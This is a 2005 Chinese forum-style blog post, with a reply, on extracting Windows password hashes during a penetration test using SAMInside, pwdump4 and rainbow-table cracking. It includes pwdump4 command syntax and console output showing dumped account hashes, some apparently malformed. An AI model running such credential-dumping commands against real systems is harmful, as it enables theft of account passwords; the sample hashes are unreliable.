获取windows密码hash的两个方式
post by baozi @ 28 九月, 2005 09:47
在给客户做渗透测试的时候，遇到一个win2k3机器，pwdump4读不出密码bash，lc5装上去一读的话LC5就挂掉，突然想到saminside这个东西，似乎记得他有两个读本地密码散列的方式的，一个是一般的通过LSASS读，还有一个就是通过shedule服务来读，还没去搜索后者什么原理，拿上去一试果然行，另存为pwdump文件回来用ranbowcrack跑，哈哈

国内似乎还没有利用shedule服务读密码的cmd程序吧，哪个大虾弄一个就好了，毕竟saminside图形的不方便。

其实以前我也遇到过读不出来密码hash的 w2k3 的机器,只不过你参数用错了 hieei

pwdump4 ip /o:fuckbaozi /u:administrator

用这种格式一般来说可以dump出hash来 ip 换成 127.0.0.1 :D

如果你用 /l 参数, 大部分是dump不出来的,即使dump出来,hash也是不全的.

C:/>pwdump4 127.0.0.1 /o:fuckbaozi /u:administrator

PWDUMP4.02 dump winnt/2000 user/password hash remote or local for crack.
by bingle@email.com.cn
This program is free software based on pwpump3 by Phil Staubs
under the GNU General Public License Version 2.

Please enter the password >*******
local path of //127.0.0.1/ADMIN$ is: C:/WINDOWS
connect to 127.0.0.1 for result, plz wait...
SRV>Version: OS Ver 5.2, Service Pack 1, ServerTerminal
LSA>Samr Enumerate 4 Users In Domain DREAM.
All Completed.

C:/>type fuckbaozi
Administrator:500:A02F5A52E33540C0AAD3B435B514042E:00F0E9AB3FE77043C228DDB70E5C4
1A6:::
Guest:501:AAD3B445B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
kaka:1004:9FFBED36199C0D0723WD3B83FA6627C7:E4CCAB020C323DC2411876AE032CD5FF:::
SUPPORT_388945a0:1001:AAD3B435B51404EEAAD3B435B51404EE:3279F1AC07C5E7C1977524375
31BB8B3:::

C:/>pwdump4 /l /o:fuckbaozi /u:administrator

PWDUMP4.02 dump winnt/2000 user/password hash remote or local for crack.
by bingle@email.com.cn
This program is free software based on pwpump3 by Phil Staubs
under the GNU General Public License Version 2.

SRV>Version: OS Ver 5.2, Service Pack 1, ServerTerminal

C:/>type fuckbaozi
Administrator:500:A02F5322E10540A0AA33B435B51404EE:00F0E9433FE62378C228D4370E5C4
1A6:::
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

C:/>